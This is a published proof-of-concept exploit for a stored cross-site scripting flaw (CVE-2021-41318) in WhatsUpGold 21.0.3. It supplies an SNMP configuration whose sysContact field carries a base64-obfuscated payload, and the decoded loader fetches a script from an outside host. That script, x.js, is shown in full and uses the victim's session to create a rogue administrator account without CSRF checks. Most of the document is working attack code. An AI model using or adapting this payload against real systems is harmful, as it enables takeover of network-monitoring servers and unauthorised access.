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WhatsUpGold 21.0.3 - Stored Cross-Site Scripting (XSS)

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# Exploit Title: WhatsUpGold 21.0.3 - Stored Cross-Site Scripting (XSS)
# Date: 09.17.2021
# Exploit Author: Andreas Finstad (4ndr34z)
# Vendor Homepage: https://www.whatsupgold.com
# Version: v.21.0.3, Build 188
# Tested on: Windows 2019 Server
# CVE : CVE-2021-41318
# Reference: https://f20.be/cves/poc-cve-2021-41318

Description:
Improper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.
Placing a XSS payload in one of the fields reflected onto the application, triggers the exploitation.
No CSRF protection/token on adding/posting a new user account, makes it possible to create a rouge administrator, using a staged javascript delivered through the XSS.

SNMP A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload:

# snmpd.conf
# An example configuration file for configuring the Net-SNMP agent ('snmpd')
# See snmpd.conf(5) man page for details
############################################################################
# SECTION: System Information Setup
# syslocation: The [typically physical] location of the system.
# Note that setting this value here means that when trying to
# perform an snmp SET operation to the sysLocation.0 variable will make
# the agent return the "notWritable" error code.  IE, including
# this token in the snmpd.conf file will disable write access to
# the variable.
# arguments:  location_string
sysName Evil-Device
sysLocation    Somewhere Over The Rainbow
sysContact     <img id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHA6Ly8xOTIuMTY4LjY2LjQ2L3guanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 src=x onerror=eval(atob(this.id))>

This is the base64 encoded string:
var a=document.createElement("script");a.src="http://192.168.66.46/x.js";document.body.appendChild(a);

x.js:
var vhost = window.location.protocol+'\/\/'+window.location.host
var username = "sysadmin"
var password = "me"

fetch(vhost+'/NmConsole/api/core/WebUser',{
    method: 'POST',
    headers: {
        'Content-Length': '479',
        'Accept': 'application/json',
        'X-Requested-With': 'XMLHttpRequest',
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51',
        'Content-Type': 'application/json',
        'Origin': vhost,
        'Referer': vhost+'/NmConsole/',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'nb,no;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,sv;q=0.5,fr;q=0.4',
        'Connection': 'close'
    },
    credentials: 'include',
        body: '{"HomeDeviceGroupID":0,"HomeDeviceGroupPath":"My Network","LanguageID":1033,"UserRightsMask":"0","IsDgarConfigured":false,"Groups"   [1],"WebUserID":-1,"UserName":"'+username+'","AuthenticationType":1,"ApplyWebUiSessionTimeout":true,"ApplyLockoutPolicy":false,"ApplyPasswordAging":false,"ApplyPasswordComplexity":false,"ApplySessionPolicy":false,"FailedLoginCount":0,"IsLocked":false,"Password":"'+password+'","UnlockUser":false,"WebConfigurationSettings":"","id":"Wug.model.userManagement.WebUser-2"}'
});
            
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